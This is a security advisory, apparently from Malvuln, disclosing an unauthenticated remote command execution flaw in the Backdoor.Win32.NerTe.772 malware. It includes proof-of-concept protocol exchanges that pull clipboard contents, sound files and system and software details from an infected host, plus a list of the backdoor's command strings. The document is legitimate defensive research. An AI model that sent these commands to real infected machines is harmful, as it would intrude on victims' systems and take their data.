Backdoor.Win32.NerTe.772 Code Execution

Backdoor.Win32.NerTe.772 malware suffers from a code execution vulnerability.


MD5 | a9370f85e3b72ca57a311664a057df8f

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/464d7073f884b586b17950eef2908a6e_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.772
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 21, 80 and drops an executable named "scanregs.exe" under Windows dir. Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc.
Type: PE32
MD5: 464d7073f884b586b17950eef2908a6e
Vuln ID: MVID-2021-0229
Dropped files: scanregs.exe
Disclosure: 05/28/2021

Exploit/PoC:
1) Get Clipboard data.

GETCLBñEmpty╢GETCLB
GETCLB*************** Clipboard **************ñI dont like uñ*************** End **************╢

2) Get Sounds

MSGUnknown command╢GETSND
GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢

3) Get Installed Software

MSGUnknown command╢GETIN2
GETIN2DESKTOP-2C3IQHOñVictimñAT/AT COMPATIBLEñINTEL - 6040000ñ04/13/18ññ10:36:15 PMñ1 Hour, 15 Minutes, 19 Seconds.ñ0ñ0ñ0ñ2
792.64ñUnknown╢GETIN32146947072ñ951943168ñ-1476931584ñ1274384384ñ2147352576ñ1985863680ñ55ñ65,536ñ10000 - 7FFEFFFFñ4,096ñññ╢
GETIN4NTFSñc:\ñA2C9-AD2Fñ85405782016ñ12998012928ñ512ñ8ñ20,851,021ñ3,173,343ñFixedñCDñC: []ñD: []╢GETIN6HxD Hex Editor version 1.7.7.0
ñWinPcap 4.1.3ñWinSCP 5.13ñWireshark 2.4.5 64-bitñMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.30319ñMicrosoft Visual C++ 2008
Red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0ñApplicationñApplication ExtensionñMS-DOS ApplicationñWindows Batch Fileñ0ñnoñ0ñ0ñnoñ0
etc...


Commands List:

0xa3690: GETSND
0xa3d1c: GETCLB
0xa3d2c: GETCLB
0xa79e8: GETSCR
0xca0f4: GETIN2
0xca138: GETIN3
0xca168: GETIN4
0xca178: GETIN6
0xca1c4: GETIN7
0xca1d4: GETIN8
0xca1e4: GETIN9
0xca218: GETI10
0xd3ced: GETSND
0xd3dfd: GETDRV
0xd3e0c: GETDRV
0xd3e2d: GETCOL
0xd3e3c: GETCOL
0xd3e55: GETWND
0xd3e64: GETWND
0xd3f0d: GETMP3
0xd3f25: GETIN5
0xd3f34: GETIN5
0xd406d: GETINF
0xd40cd: GETIN2
0xd45cd: GETCLB
0xd4609: GETRST
0xd47d5: GETSCR
0xd4a35: GETDAT
0xd4a44: GETDAT
0xd4c65: GETREG
0xd4c74: GETREG
0xd4c7d: GETRE2
0xd4c8c: GETRE2
0xa12b0: SETUPI
0xd3cc5: SETSND
0xd4005: SETSCT
0xd4741: SETUPI
0xd47a9: SETUP
0xd4c95: SETCLR


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts